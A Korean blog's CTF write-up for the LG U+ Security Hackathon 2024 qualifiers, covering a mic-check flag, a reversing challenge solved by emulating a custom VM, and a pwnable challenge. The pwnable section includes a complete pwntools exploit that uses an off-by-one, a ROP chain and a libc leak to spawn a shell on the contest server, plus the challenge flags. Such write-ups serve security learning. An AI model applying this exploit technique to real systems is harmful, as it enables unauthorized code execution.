Notice
Recent Posts
Recent Comments
Link
«   2026/03   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Void

LG U+ Security Hackathon : Growth Security 2024 Quals 본문

CTF

LG U+ Security Hackathon : Growth Security 2024 Quals

pdw0412 2024. 11. 17. 08:40

 

후기

D4 라는 팀으로 이 대회에 참가했습니다.  문제는 분야별로 2~3 문제 정도가 출제되었고, 문제들이 모두 괜찮았습니다. 저희팀은 5문제, 저는 mic-check를 제외하고 2문제를 해결했고, 15등으로 본선 출전은 어렵게 됐습니다. pwnable의 Chatting Server 라는 문제를 풀지 못해 아쉬움이 있습니다.

 

+ 대회 다음날 30분만에 Chatting Server를 풀었습니다..

 

 

 

Write Up

MISC - mic_check

PWN - RRR

REV - VMVMVM

 

 

 

mic_check

공식 discord의 notice 채널에 들어가면 flag를 확인할 수 있다.

 

lguplus2024{welcome_to_lg_uplus_security_hackathon}

 

 

RRR

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[31]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int8 v5; // [rsp+1Fh] [rbp-11h]
  int i; // [rsp+2Ch] [rbp-4h]

  init(argc, argv, envp);
  memset(s, 0, sizeof(s));
  v5 = 114;
  do
  {
    printf("You only input 'R' or 'r': ");
    read(0, s, v5 - 82);
    for ( i = 0; i <= 29; ++i )
    {
      if ( s[i] != 82 && s[i] != 114 )
      {
        printf("Bad char.");
        exit(0);
      }
    }
  }
  while ( s[0] != 82 || s[1] != 82 || s[2] != 82 );
  puts("Good luck! :)");
  return 0;
}

 

main 함수는 다음과 같은 코드로 쓰여있다. s에 입력을 받고, 문자열을 확인한뒤 입력값에 따라 프로그램을 종료하거나 계속 입력받는 프로그램이다. 처음에 s에는 114-82=32 바이트 입력을 받는데, s는 31바이트 크기여서 off-by-one 으로 v5를 변조시킬 수 있다. 그럼 bof 로 rop를 할 수 있고, 쉘을 딸 수 있다.

 

─────────────────[ DISASM / x86-64 / set emulate on ]─────────────────
 ► 0x4012b8 <main+93>     call   read@plt                    <read@plt>
        fd: 0 (pipe:[7715049])
        buf: 0x7ffdab140ad0 ◂— 0x7272727272727272 ('rrrrrrrr')
        nbytes: 0xad

 

v5를 0xff 로 변조한 다음 read() 부분이다. 

 

from pwn import *

#p=process('./prob')
p=remote('3.36.77.17', 44040)
e=ELF('./prob')
#l=e.libc
l=ELF('./libc.so.6')

ret=0x000000000040101a
pop_rdi_rsi=0x000000000040134d

main=0x40125B

plt_puts=e.plt['puts']
got_puts=e.got['puts']

p.sendafter(b':', b'r'*31+b'\xff')

payload=b'R'*0x38
payload+=p64(pop_rdi_rsi)+p64(got_puts)+p64(1)+p64(plt_puts)+p64(ret)+p64(main)
p.sendafter(b':', payload)

p.recvline()
libc_base=u64(p.recvn(6)+b'\x00'*2)-l.symbols['puts']
print(hex(libc_base))

system=libc_base+l.symbols['system']
binsh=libc_base+next(l.search(b'/bin/sh'))

p.sendafter(b':', b'r'*31+b'\xff')
payload=b'R'*0x38
payload+=p64(pop_rdi_rsi)+p64(binsh)+p64(1)+p64(system)

p.sendafter(b':', payload)

p.interactive()

 

 

lguplus2024{8cf9605e26ae03f4e77ec461565c060b1fb92ffc17b7a42ea95117a9f8961664ebf9ac349bd2809cbd78e9218d1639}

 

 

 

 

VMVMVM

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 v4; // rdx
  __int64 v5[9]; // [rsp+10h] [rbp-170h] BYREF
  _QWORD v6[3]; // [rsp+58h] [rbp-128h]
  char s[264]; // [rsp+70h] [rbp-110h] BYREF
  unsigned __int64 v8; // [rsp+178h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v5[0] = 0x700070F40070007LL;
  v5[1] = 0xC80070E40070F41LL;
  v5[2] = 0xB0E0100070E4007LL;
  v5[3] = 0x70F0100070E4007LL;
  v5[4] = 0xE0100070E400701LL;
  v5[5] = 0xE0120070E40070DLL;
  v5[6] = 0x70E4107093D0702LL;
  v5[7] = 0xE40070F41070101LL;
  v5[8] = 0x40070F4007010107LL;
  v6[0] = 0x70A0A070220070ELL;
  *(_DWORD *)((char *)v6 + 7) = 101597447;
  printf("User Input: ");
  __isoc99_scanf("%s", s);
  if ( strlen(s) == 32 )
  {
    memcpy(&unk_40C0, s, 0x20uLL);
    qword_40E0[0] = qword_4040;
    qword_40E0[1] = qword_4048;
    v4 = qword_4058;
    qword_40E0[2] = qword_4050;
    qword_40E0[3] = v4;
    if ( (unsigned int)sub_130E(v5) )
      puts("Nope");
    else
      printf("Correct\nFlag: lguplus2024{%s}\n", s);
    return 0LL;
  }
  else
  {
    puts("Nope");
    return 0LL;
  }
}

 

v5에 명령어를 넣는다. s(flag) 를 입력받은뒤 qword_40E0 에 값을 넣는데, 이 값이 분석 한 이후 flag를 검사하는 역할을 한다. 그리고 sub_130E(v5) 에서 vm을 실행한다. 

 

 

__int64 __fastcall sub_130E(__int64 a1)
{
  unsigned int v1; // eax
  unsigned int v2; // eax
  int v4; // [rsp+20h] [rbp-10h]
  int v5; // [rsp+20h] [rbp-10h]
  int v6; // [rsp+24h] [rbp-Ch]
  int v7; // [rsp+24h] [rbp-Ch]
  int v8; // [rsp+24h] [rbp-Ch]
  int v9; // [rsp+24h] [rbp-Ch]
  int v10; // [rsp+24h] [rbp-Ch]
  unsigned int v11; // [rsp+24h] [rbp-Ch]
  unsigned int v12; // [rsp+24h] [rbp-Ch]
  unsigned int v13; // [rsp+24h] [rbp-Ch]
  int v14; // [rsp+28h] [rbp-8h]
  int v15; // [rsp+28h] [rbp-8h]
  int v16; // [rsp+28h] [rbp-8h]
  int v17; // [rsp+28h] [rbp-8h]
  int v18; // [rsp+28h] [rbp-8h]
  int v19; // [rsp+28h] [rbp-8h]
  unsigned int v20; // [rsp+28h] [rbp-8h]
  unsigned int v21; // [rsp+28h] [rbp-8h]
  int v22; // [rsp+2Ch] [rbp-4h]
  int v23; // [rsp+2Ch] [rbp-4h]

  while ( 1 )
  {
    switch ( *(_BYTE *)(dword_41C0 + a1) )
    {
      case 1:
        v6 = sub_125D();
        v14 = sub_125D();
        sub_1209((unsigned int)(v6 + v14));
        break;
      case 2:
        v7 = sub_125D();
        v15 = sub_125D();
        sub_1209((unsigned int)(v7 - v15));
        break;
      case 3:
        v8 = sub_125D();
        v16 = sub_125D();
        sub_1209((unsigned int)(v16 * v8));
        break;
      case 4:
        v9 = sub_125D();
        v17 = sub_125D();
        if ( v17 )
          sub_1209((unsigned int)(v9 / v17));
        break;
      case 5:
        v10 = sub_125D();
        v18 = sub_125D();
        if ( v18 )
          sub_1209((unsigned int)(v10 % v18));
        break;
      case 6:
        return (unsigned int)sub_125D();
      case 7:
        sub_1209(*(unsigned __int8 *)(++dword_41C0 + a1));
        break;
      case 8:
        sub_125D();
        break;
      case 9:
        v22 = sub_125D();
        if ( !(unsigned int)sub_125D() )
          dword_41C0 = v22 - 1;
        break;
      case 0xA:
        v23 = sub_125D();
        if ( (unsigned int)sub_125D() )
          dword_41C0 = v23 - 1;
        break;
      case 0xB:
        v11 = sub_125D();
        v19 = sub_125D();
        sub_1209(v19 ^ v11);
        break;
      case 0xC:
        v12 = sub_125D();
        v20 = (int)sub_125D() % 8;
        v1 = sub_12AA(v12, v20);
        sub_1209(v1);
        break;
      case 0xD:
        v13 = sub_125D();
        v21 = (int)sub_125D() % 8;
        v2 = sub_12DC(v13, v21);
        sub_1209(v2);
        break;
      case 0xE:
        v4 = sub_125D();
        sub_1209(byte_40C0[v4]);
        break;
      case 0xF:
        v5 = sub_125D();
        byte_40C0[v5] = sub_125D();
        break;
      default:
        break;
    }
    ++dword_41C0;
  }
}

 

__int64 sub_125D()
{
  int v0; // eax

  if ( dword_4020 < 0 )
    exit(0);
  v0 = dword_4020--;
  return dword_4080[v0];
}

 

__int64 __fastcall sub_1209(unsigned int a1)
{
  __int64 result; // rax

  if ( dword_4020 > 14 )
    exit(0);
  ++dword_4020;
  result = a1;
  dword_4080[dword_4020] = a1;
  return result;
}

 

vm 함수에서는 1번부터 각각 +, -, *, /, %, return pop(), jz, jnz, ^, ROR, ROL, push(flag[pop()]), flag[pop()]=pop() 연산을 한다. dword_4020 은 stack 의 size 이고, dword_4080은 stack 이다. 이제 입력값 s의 뒷부분, v5(op code) 를 추출한 다음 다음과 같은 에뮬레이터를 만들 수 있다.

 

 

vm='07 00 07 40 0F 07 00 07 41 0F 07 40 0E 07 80 0C 07 40 0E 07 00 01 0E 0B 07 40 0E 07 00 01 0F 07 01 07 40 0E 07 00 01 0E 0D 07 40 0E 07 20 01 0E 02 07 3D 09 07 41 0E 07 01 01 07 41 0F 07 40 0E 07 01 01 07 40 0F 07 40 0E 07 20 02 07 0A 0A 07 41 0E 06'
s='63 E6 20 52 DC C0 C6 70 C5 4A 86 52 72 62 C6 6A 6B 44 2A EC 7A CC CE 66 67 F2 24 50 D2 C2 60 6E'

vm=[int(i, 16) for i in vm.split()]
idx=0
size=-1
stack=[0]*16

flag=[0]*128
for i in range(32) :
	flag[i]=i+1

idx=0
for i in s.split(' ') :
	flag[32+idx]=int(i, 16)
	idx+=1

def pop() :
	global stack, size
	size-=1
	return stack[size+1]

def push(v) :
	global stack, size
	size+=1
	stack[size]=v

idx=0
while(1) :
	op=vm[idx]
	print(end=str(idx)+' : ')
	
	if(op==1) :
		a=pop()
		b=pop()
		push('('+a+'+'+b+')%256')
		print('pop pop;')
		print('push '+str(a)+'+'+str(b))
	
	if(op==2) :
		a=pop()
		b=pop()
		push('('+a+'-'+b+'+256)%256')
		print('pop pop;')
		print('push '+str(a)+'-'+str(b))
	
	if(op==3) :
		a=pop()
		b=pop()
		push('('+a+'*'+b+')%256')
		print('pop pop;')
		print('push '+str(a)+'*'+str(b))

	if(op==4) :
		a=pop()
		b=pop()
		push('('+a+'//'+b+')')
		print('pop pop;')
		print('push '+str(a)+'/'+str(b))
	
	if(op==5) :
		a=pop()
		b=pop()
		push(a+'%'+b)
		print('pop pop;')
		print('push '+str(a)+'%'+str(b))
	
	if(op==6) :
		print('return ', pop())
		break

	if(op==7) :
		idx+=1
		print('push', vm[idx])
		push(str(vm[idx]))

	if(op==8) :
		pop()
		print('pop')
	
	if(op==9) :
		pop()
		pop()
		print('0이면 jmp')
	
	if(op==10) :
		pop()
		pop()
		print('0이 아니면 jmp')
	
	if(op==11) :
		a=pop()
		b=pop()
		push(a+'^'+b)
		print('pop pop;')
		print('push '+str(a)+'^'+str(b))
	
	if(op==12) :
		a=pop()
		b=pop()
		print('pop pop;')
		print('push ROR('+str(a)+', '+b+'%8)')
		push('ROR('+str(a)+', '+b+'%8)')

	if(op==13) :
		a=pop()
		b=pop()
		print('pop pop;')
		print('push ROL('+str(a)+', '+b+'%8)')
		push('ROL('+str(a)+', '+b+'%8)')
	if(op==14) :
		a=pop()
		print('pop;')
		print('push flag['+str(a)+']')
		push('flag['+str(a)+']')

	if(op==15) :
		a=pop()
		b=pop()
		print('pop pop;')
		print('flag['+str(a)+']='+str(b))

	idx+=1

 

 

0 : push 0
2 : push 64
4 : pop pop;
flag[64]=0
5 : push 0
7 : push 65
9 : pop pop;
flag[65]=0
10 : push 64
12 : pop;
push flag[64]
13 : push 128
15 : pop pop;
push ROR(128, flag[64]%8)
16 : push 64
18 : pop;
push flag[64]
19 : push 0
21 : pop pop;
push 0+flag[64]
22 : pop;
push flag[(0+flag[64])%256]
23 : pop pop;
push flag[(0+flag[64])%256]^ROR(128, flag[64]%8)
24 : push 64
26 : pop;
push flag[64]
27 : push 0
29 : pop pop;
push 0+flag[64]
30 : pop pop;
flag[(0+flag[64])%256]=flag[(0+flag[64])%256]^ROR(128, flag[64]%8)
31 : push 1
33 : push 64
35 : pop;
push flag[64]
36 : push 0
38 : pop pop;
push 0+flag[64]
39 : pop;
push flag[(0+flag[64])%256]
40 : pop pop;
push ROL(flag[(0+flag[64])%256], 1%8)
41 : push 64
43 : pop;
push flag[64]
44 : push 32
46 : pop pop;
push 32+flag[64]
47 : pop;
push flag[(32+flag[64])%256]
48 : pop pop;
push flag[(32+flag[64])%256]-ROL(flag[(0+flag[64])%256], 1%8)
49 : push 61
51 : 0이면 jmp
52 : push 65
54 : pop;
push flag[65]
55 : push 1
57 : pop pop;
push 1+flag[65]
58 : push 65
60 : pop pop;
flag[65]=(1+flag[65])%256
61 : push 64
63 : pop;
push flag[64]
64 : push 1
66 : pop pop;
push 1+flag[64]
67 : push 64
69 : pop pop;
flag[64]=(1+flag[64])%256
70 : push 64
72 : pop;
push flag[64]
73 : push 32
75 : pop pop;
push 32-flag[64]
76 : push 10
78 : 0이 아니면 jmp
79 : push 65
81 : pop;
push flag[65]
82 : return  flag[65]

 

51, 78 line 은 각각 if문, for문의 역할을 한다. 그래서 이 코드를 핸드레이하면 다음과 같은 코드를 얻을 수 있다.

 

#include<algorithm>
#include<cstdio>
using namespace std;

unsigned __int8 ROR(int a1, char a2) {
  return (unsigned __int8)((a1 >> a2) | (a1 << (8 - a2)));
}

unsigned __int8 ROL(int a1, char a2) {
  return (unsigned __int8)((a1 << a2) | (a1 >> (8 - a2)));
}

char flag[66];

int main() {
	flag[64]=0;
	flag[65]=0;
	
	while(1) {
		flag[flag[64]]^=ROR(128, flag[64]%8);
		flag[65]+=(flag[(32+flag[64])]-ROL(flag[flag[64]], 1%8));
		flag[64]+=1;
		if(32-flag[64]==0) break;
	}
	
	return flag[65];
}

 

결국 flag[65] 가 0이 되는 flag를 찾으면 된다. 다음과 같은 코드로 찾을 수 있다.

 

 

#include<algorithm>
#include<cstdio>
using namespace std;

unsigned __int8 ROR(int a1, char a2) {
  return (unsigned __int8)((a1 >> a2) | (a1 << (8 - a2)));
}

unsigned __int8 ROL(int a1, char a2) {
  return (unsigned __int8)((a1 << a2) | (a1 >> (8 - a2)));
}

unsigned __int8 ans[100]={99, 230, 32, 82, 220, 192, 198, 112, 197, 74, 134, 82, 114, 98, 198, 106, 107, 68, 42, 236, 122, 204, 206, 102, 103, 242, 36, 80, 210, 194, 96, 110};

int main() {
	for(int i=0; i<32; i+=1) {
		for(int key=32; key<=127; key+=1) {
			unsigned __int8 c=key;
			c=c^ROR(128, i%8);
			c=ROL(c, 1%8);
			if(c==ans[i]) {
				printf("%c", key);
				break;
			}
		}
	}
	
	return 0;
}

 

1309fda9bec915a45b5f5be23928ae26 값을 얻을 수 있다.

 

$ ./prob
User Input: 1309fda9bec915a45b5f5be23928ae26
Correct
Flag: lguplus2024{1309fda9bec915a45b5f5be23928ae26}

 

lguplus2024{1309fda9bec915a45b5f5be23928ae26}

'CTF' 카테고리의 다른 글

UofTCTF 2025 - Pwn (4/6)  (0) 2025.01.15
Layer7 CTF 2024  (0) 2025.01.13
제 5회 JBU-CTF  (1) 2024.12.16
YISF 2024 Finals  (0) 2024.11.10
YISF 2024 Quals  (0) 2024.08.23